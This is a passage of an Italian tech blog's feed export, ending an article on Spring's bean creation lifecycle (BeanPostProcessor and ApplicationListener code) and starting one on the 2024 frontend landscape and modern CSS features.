&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;protected&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;applyBeanPostProcessorsBeforeInstantiation&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; beanClass, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; beanName) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;InstantiationAwareBeanPostProcessor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bp&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBeanPostProcessorCache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;instantiationAware&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bp&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;postProcessBeforeInstantiation&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanClass, beanName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (result != &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; result;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;ol start=&quot;2&quot;&gt;&lt;li&gt;&lt;strong&gt;&lt;em&gt;applyBeanPostProcessorsAfterInitialization&lt;/em&gt;&lt;/strong&gt;: In questa fase, i BeanPostProcessor operano in base alla logica
contenuta nel metodo &lt;em&gt;postProcessAfterInitialization()&lt;/em&gt;. Qui, i BeanPostProcessor intervengono a seguito delle callbacks di cui sopra.&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;13&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;applyBeanPostProcessorsAfterInitialization&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; existingBean, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; beanName)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       throws BeansException {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = existingBean;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanPostProcessor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;processor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBeanPostProcessors&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;processor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;postProcessAfterInitialization&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(result, beanName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (current == &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; result;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       result = current;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; result;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Infine, una volta che tutti i bean sono stati inizializzati con le loro dipendenze, e i BeanPostProcessor sono stati applicati, si conclude
il flusso di aggiornamento con il metodo &lt;em&gt;finishRefresh()&lt;/em&gt;. Questo metodo esegue una serie di operazioni essenziali:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Inizia eseguendo l&amp;#x27;operazione di pulizia delle cache e l&amp;#x27;inizializzazione del LifecycleProcessor che implementa i metodi &lt;em&gt;onRefresh()&lt;/em&gt; e &lt;em&gt;onClose()&lt;/em&gt; gestendo le due fasi.&lt;/li&gt;&lt;li&gt;Successivamente, notifica il LifecycleProcessor  dell&amp;#x27;avvenuto aggiornamento dell’applicationContext.&lt;/li&gt;&lt;li&gt;Infine, pubblica un ContextRefreshedEvent, segnalando che il contesto è ora completamente inizializzato e pronto per l&amp;#x27;uso.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;In sintesi, &lt;em&gt;finishRefresh()&lt;/em&gt; è il punto finale che assicura che il contesto sia pronto e operativo dopo l&amp;#x27;aggiornamento.&lt;/p&gt;&lt;h3 id=&quot;applicationlistener&quot;&gt;ApplicationListener&lt;/h3&gt;&lt;p&gt;Dopo aver discusso dell&amp;#x27;importanza dei BeanFactoryPostProcessor e dei BeanPostProcessor nell&amp;#x27;inizializzazione e
nella manipolazione dei bean all&amp;#x27;interno dell&amp;#x27;applicazione è importante esplorare anche il ruolo degli
&lt;strong&gt;ApplicationListener&amp;lt;E extends ApplicationEvent&amp;gt;&lt;/strong&gt; i quali forniscono un meccanismo per la gestione degli eventi
permettendo di definire azioni specifiche da eseguire in risposta a eventi, come l&amp;#x27;avvio, l&amp;#x27;arresto,
il refresh o la chiusura dell&amp;#x27;applicazione.&lt;/p&gt;&lt;p&gt;Di seguito un elenco delle possibili specializzazioni di ApplicationEvent:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;ApplicationContextEvent&lt;/strong&gt;: ogni evento del contesto dell&amp;#x27;applicazione.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;ContextClosedEvent&lt;/strong&gt;: chiusura dell&amp;#x27;applicazione.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;ContextRefreshedEvent&lt;/strong&gt;: aggiornamento del contesto dell&amp;#x27;applicazione.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;ContextStartedEvent&lt;/strong&gt;: avvio dell&amp;#x27;applicazione.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;ContextStoppedEvent&lt;/strong&gt;: interruzione dell&amp;#x27;applicazione.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;PayloadApplicationEvent&lt;/strong&gt;: invio di payload personalizzati con gli eventi.&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;14&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;CustomApplicationListener&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ApplicationListener&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ApplicationContextEvent&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;onApplicationEvent&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ApplicationContextEvent&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot; Event Class&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Dunque, l&amp;#x27;utilizzo di ApplicationListener aggiunge un ulteriore livello di personalizzazione
e controllo sul comportamento dell&amp;#x27;applicazione in risposta agli eventi che si verificano durante la sua esecuzione.&lt;/p&gt;&lt;h2 id=&quot;conclusioni&quot;&gt;Conclusioni&lt;/h2&gt;&lt;p&gt;In conclusione, abbiamo esplorato in dettaglio il processo interno di creazione dei bean all&amp;#x27;interno del framework Spring.
Da quando istanziamo un AnnotationConfigApplicationContext fino al completamento del metodo &lt;em&gt;finishRefresh()&lt;/em&gt;, abbiamo analizzato
ogni fase critica del ciclo di vita dei bean e della bean factory e come interagire a runtime con questi due componenti essenziali rispettivamente tramite i BeanPostProcessor ed i BeanFactoryPostProcessor.&lt;/p&gt;&lt;p&gt;Abbiamo visto come Spring gestisce la registrazione dei bean attraverso la lettura delle annotazioni, la scansione delle classi e
dei packages, e infine come completa il processo di inizializzazione garantendo che il contesto sia completamente pronto per l&amp;#x27;uso.&lt;/p&gt;&lt;p&gt;Questo approfondimento ci ha fornito una panoramica completa del funzionamento interno di Spring e ci ha permesso di comprendere
meglio come questo framework potente e flessibile implementa il pattern IoC tramite la gestione delle dipendenze e la creazione dei bean nelle applicazioni Java.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk8 { color: #CE9178; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Panorama Frontend nel 2024]]></title><link>https://techblog.smc.itpanorama-frontend-2024</link><guid isPermaLink="false">https://techblog.smc.itpanorama-frontend-2024</guid><pubDate>Fri, 20 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Il panorama del frontend nel 2024 offre agli sviluppatori un vasto assortimento di tecnologie, comprese librerie, framework, linguaggi e ecosistemi.
Ma, in sostanza, cosa dovrebbe conoscere e padroneggiare uno sviluppatore frontend al fine di diventare una risorsa inestimabile per la sua organizzazione? Come ci si orienta in questo mondo in continua evoluzione?
Questo articolo è pensato per essere una guida utile sia per i neofiti nel campo della programmazione che per gli sviluppatori esperti, fornendo un quadro il più possibile completo del complesso mondo dello sviluppo frontend.
Vengono esplorate numerose strade percorribili, accompagnate da consigli, strategie e risorse, allo scopo di facilitare la navigazione e il successo in questo contesto dinamico e in continua evoluzione.&lt;/p&gt;&lt;h2 id=&quot;css&quot;&gt;CSS&lt;/h2&gt;&lt;p&gt;Il CSS moderno non è più un insieme di semplici fogli di stile volti a migliorare l&amp;#x27;aspetto delle applicazioni web. Esso ha assimilato le lezioni apprese dai pre-processori e dal CSS-in-JS, trasformandosi in un &amp;quot;linguaggio di programmazione&amp;quot; quasi completo. Oggi, il CSS dispone di strumenti di layouting per il web senza paragoni, offrendo agli sviluppatori un&amp;#x27;incredibile facilità nel personalizzare i componenti, sfruttando logiche che in passato richiedevano necessariamente l&amp;#x27;uso di JavaScript. Questa evoluzione ha reso il CSS un potente alleato nel mondo dello sviluppo web, consentendo di creare esperienze utente sofisticate e altamente personalizzate in modo efficiente ed elegante.&lt;/p&gt;&lt;h4 id=&quot;da-target-a-source&quot;&gt;Da target a source&lt;/h4&gt;&lt;p&gt;Come accennato in precedenza, il CSS ha appreso dagli insegnamenti dei pre-processori. In effetti, nell&amp;#x27;attuale panorama di sviluppo web, l&amp;#x27;utilizzo di SASS o SCSS nei progetti è diventato essenziale, grazie alla loro facilità di composizione e semplificazione semantica. Per colmare questa lacuna, nel css moderno sono stati introdotti nuovi strumenti:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_nesting&quot;&gt;Nested rules&lt;/a&gt; - Per semplificare la vita dello sviluppatore&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_cascading_variables&quot;&gt;Cascading variables&lt;/a&gt; - Per rendere la customizzazione dello stile più facile e veloce&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Functions#math_functions&quot;&gt;More math functions&lt;/a&gt; - Perchè non aggiungerle?&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Inoltre, il CSS ha integrato gli insegnamenti dei &lt;a href=&quot;https://github.com/css-modules/css-modules&quot;&gt;CSS Modules&lt;/a&gt;, introducendo:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@layer&quot;&gt;@layer&lt;/a&gt; - Crea layer e definisce l&amp;#x27;ordine di precedenza nel caso di più layer.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/:where&quot;&gt;:where()&lt;/a&gt; - Da una lista di selettori seleziona qualsiasi elemento descritto da uno dei selettori della lista.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/:is&quot;&gt;:is&lt;/a&gt; - Da una lista di selettori seleziona qualsiasi elemento che può essere selezionato da uno dei selettori della lista.&lt;/li&gt;&lt;/ul&gt;&lt;h4 id=&quot;più-potente-che-mai&quot;&gt;Più potente che mai&lt;/h4&gt;&lt;p&gt;Il CSS ha subito una trasformazione incredibile, diventando estremamente potente grazie anche a Grid e Flexbox. Queste proprietà hanno rivoluzionato la gestione del layout delle pagine web, offrendo ai designer e agli sviluppatori un controllo preciso ed efficiente sulla disposizione degli elementi. In aggiunta, l&amp;#x27;introduzione di nuove proprietà ha reso possibile l&amp;#x27;integrazione di funzionalità a lungo attese, consentendo agli sviluppatori di regolare lo stile in risposta al comportamento dell&amp;#x27;utente, il tutto senza la necessità di scrivere script aggiuntivi.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_containment&quot;&gt;containment&lt;/a&gt; - Migliora le prestazioni web consentendo al browser di isolare diversi sottoalberi della pagina.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/:has&quot;&gt;:has()&lt;/a&gt; - Il famoso selettore padre&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_logical_properties_and_values&quot;&gt;Logical properties (LTR vs RTL)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_container_queries&quot;&gt;@container&lt;/a&gt; - Applica stili a un elemento in base alle dimensioni del contenitore dell&amp;#x27;elemento.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inert&quot;&gt;[ inert ]&lt;/a&gt; - Attributo booleano che indica che il browser ignorerà l&amp;#x27;elemento.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Naturalmente, il CSS continua a perfezionare la sua funzione originale di foglio di stile, aggiungendo nuove caratteristiche per adattarsi ai nuovi approcci al colore e garantire la massima compatibilità:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/oklch&quot;&gt;oklch()&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/oklab&quot;&gt;oklab()&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/hwb&quot;&gt;hwb()&lt;/a&gt; - Esprime un colore sRGB in base alla sua tonalità (hue), luminosità (whiteness), e nero (blackness).&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/color&quot;&gt;color()&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/color-contrast&quot;&gt;color-contrast()&lt;/a&gt; - Per trovare il colore di contrasto&lt;/li&gt;&lt;/ul&gt;&lt;h4 id=&quot;hyper-responsive-web-design&quot;&gt;Hyper-responsive™ Web Design&lt;/h4&gt;&lt;p&gt;Ultimo, ma certamente non meno importante, il CSS offre oggi la possibilità di sviluppare applicazioni hyper-responsive. Non ci si limita più ad adattare semplicemente il layout alle dimensioni dello schermo, ma si è in grado di personalizzarlo in base alle caratteristiche del dispositivo e alle preferenze dell&amp;#x27;utente, il tutto con un&amp;#x27;attenzione particolare all&amp;#x27;accessibilità.
Di seguito le novità responsive:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/length#relative_length_units_based_on_viewport&quot;&gt;Dynamic viewport units&lt;/a&gt; - Viewport si adatta automaticamente alle dimensioni del browser che si espande o si ritrae dinamicamente&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/env&quot;&gt;env(Device safe areas)&lt;/a&gt; - Tiene conto dell&amp;#x27;interfaccia dell&amp;#x27;ambiente, come la barra di ricerca browser su mobile.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/pointer&quot;&gt;@media (pointer)&lt;/a&gt; - Per decidere come rispondere alla precisione del puntatore&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/hover&quot;&gt;@media (hover)&lt;/a&gt; - Per conoscere se il dispositivo permette l&amp;#x27;hover.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;E le novità in merito di accessibilità:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion&quot;&gt;prefers-reduced-motion&lt;/a&gt; - Per ridurre o togliere le animazioni di movimento.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-contrast&quot;&gt;prefers-contrast&lt;/a&gt; - Per disegnare contenuto ad alto o basso contrasto in base all&amp;#x27;utente.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In conclusione, nel 2024 è di cruciale importanza esplorare il CSS in profondità o, se si sta iniziando ora il percorso nello sviluppo Frontend, apprenderlo con tutte le sue sfaccettature. Il CSS &amp;quot;vanilla&amp;quot; rappresenta uno strumento fondamentale che deve far parte dell&amp;#x27;arsenale di ogni sviluppatore Frontend, in quanto alleato fondamentale per la creazione di prodotti web di standard altissimo.&lt;/p&gt;&lt;h2 id=&quot;libraries-ui-kits--design-systems-non-più-se-ma-quale&quot;&gt;Libraries, UI Kits &amp;amp; Design Systems Non più “se” ma “quale”&lt;/h2&gt;&lt;p&gt;Nonostante la crescente potenza del CSS, l&amp;#x27;idea di creare un progetto senza l&amp;#x27;uso di libreria, UI-kit o design system è oggi impensabile. Scrivere manualmente lo stile di un&amp;#x27;intera applicazione sembra quasi una sfida insormontabile e soprattutto inutile, considerando la vasta gamma di librerie, spesso open source, create specificatamente per soddisfare le diverse esigenze. Per comprendere perché si è giunti allo sviluppo di queste librerie, si deve fare un salto indietro nel tempo.&lt;/p&gt;&lt;p&gt;Nel 2010 cominciano ad emergere i primi framework JavaScript. La strategia vincente di AngularJS sta nel riconoscere che chi scrive l&amp;#x27;HTML è anche colui che scrive JavaScript stesso. Nel frattempo, il team di Facebook (ora Meta) intuisce che stimolare il riuso è la chiave: nascono i componenti. Il trittico di HTML, JavaScript e CSS inizia così a fondersi in un&amp;#x27;unica entità, e nasce React, che va ad unire i primi due.&lt;/p&gt;&lt;figure 